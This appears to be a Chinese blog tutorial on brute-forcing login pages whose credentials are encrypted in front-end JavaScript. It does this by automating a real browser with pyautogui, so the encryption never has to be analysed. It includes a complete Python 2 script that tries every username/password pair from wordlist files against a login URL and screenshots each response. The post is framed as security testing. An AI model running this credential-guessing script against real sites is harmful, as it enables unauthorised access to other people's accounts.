會python真的可以為所欲為——爆破前端加密登入
阿新 • • 發佈:2020-09-08
關注公眾號:Python爬蟲資料分析挖掘,回覆【開源原始碼】免費獲取更多開源專案原始碼
做安全測試的時候經常會遇到前端登入資料包加密,又懶得去分析js看加密演算法,特別一些做了混淆的,分析起來那叫一個噁心……
逼的我又拿起了python,開始一頓操作
python真的能為所欲為
基礎知識
這次要用到的是一個叫pyautogui
的庫,在python2的環境下安裝很簡單
python -m pip install pyautogui
然後在命令列測試一下是否能引用
image.png
沒毛病,接下來簡單介紹一下pyautogui
簡單來說,這個庫可以用來模擬滑鼠、鍵盤操作
我們要用到的有
獲取當前滑鼠位置
pyautogui.position()
滑鼠左擊
pyautogui.click(x=123, y=456)
滑鼠雙擊(按兩下左鍵)
pyautogui.doubleClick(x=123, y=456)
滑鼠左鍵按下
pyautogui.mouseDown(x=123, y=456)
滑鼠左鍵鬆起
pyautogui.mouseUp(x=123, y=456)
鍵盤寫入文字
pyautogui.typewrite('http://www.baidu.com\n') # 這裡的 '\n'是換行,其他特殊按鍵請自行查詢手冊
截圖
pyautogui.screenshot('log/test.png')
每次操作間隔時間
pyautogui.PAUSE = 0.2 #單位 秒
差不多了,這些基本夠我們用了,接下來開始造輪子
python大法好
分析一波流程
首先,我們在執行指令碼的時候,肯定是命令列獲取的焦點,而不是瀏覽器,所以第一步就需要開啟瀏覽器,為了方便可以提前開啟一個,通過點選底部工作列來切換到瀏覽器
image.png
然後每次先輸入地址,然後輸入使用者名稱,輸入密碼,點選登入按鈕
輸入地址,可以在瀏覽器位址列右側按下左鍵,然後移動到位址列最左側,然後再輸入文字,帶上'\n'
輸入使用者名稱,這塊可根據具體頁面的文字框採用單擊或雙擊的辦法清空或選中使用者名稱欄的文字
輸入密碼,同用戶名
點選登入,滑鼠移動到登入按鈕然後左擊
等待http響應後(自己根據網路速度估摸一個大致時間),截圖到指定目錄
如此迴圈
程式碼如下:
#!/usr/bin/python2 import pyautogui as pag import time pag.PAUSE = 0.2 def clearChar(chars): reStr = ['\n','\r','\t',' '] for reS in reStr: chars = chars.replace(reS, '') return chars class Point: x = 0 y = 0 def __init__(self, x, y): self.x = x self.y = y def autoCrack(username, password): global userBox global passBox global submitBtn global urlBoxRight global urlBoxLeft global loginUrl pag.mouseDown(urlBoxRight.x, urlBoxRight.y) pag.mouseUp(urlBoxLeft.x, urlBoxLeft.y) pag.typewrite(loginUrl+'\n') time.sleep(1) pag.click(userBox.x, userBox.y) pag.typewrite(username) pag.click(passBox.x, passBox.y) pag.typewrite(password) pag.click(submitBtn.x, submitBtn.y) time.sleep(3) pag.screenshot('log/{}_{}.png'.format(username, password)) time.sleep(1) if __name__ == '__main__': # Point chromeIcon = Point(988, 1778) userBox = Point(2524, 600) passBox = Point(2530, 706) submitBtn = Point(2468, 852) urlBoxRight = Point(2052, 74) urlBoxLeft = Point(150, 68) loginUrl = 'http://127.0.0.1/login.php' userFile = 'user.txt' passFile = 'pass.txt' pUserFile = open(userFile, 'r') pPassFile = open(passFile, 'r') userList = pUserFile.readlines() passList = pPassFile.readlines() pUserFile.close() pPassFile.close() pag.click(chromeIcon.x, chromeIcon.y) for pwd in passList: pwd = clearChar(pwd) for user in userList: user = clearChar(user) autoCrack(user, pwd)
看看實際效果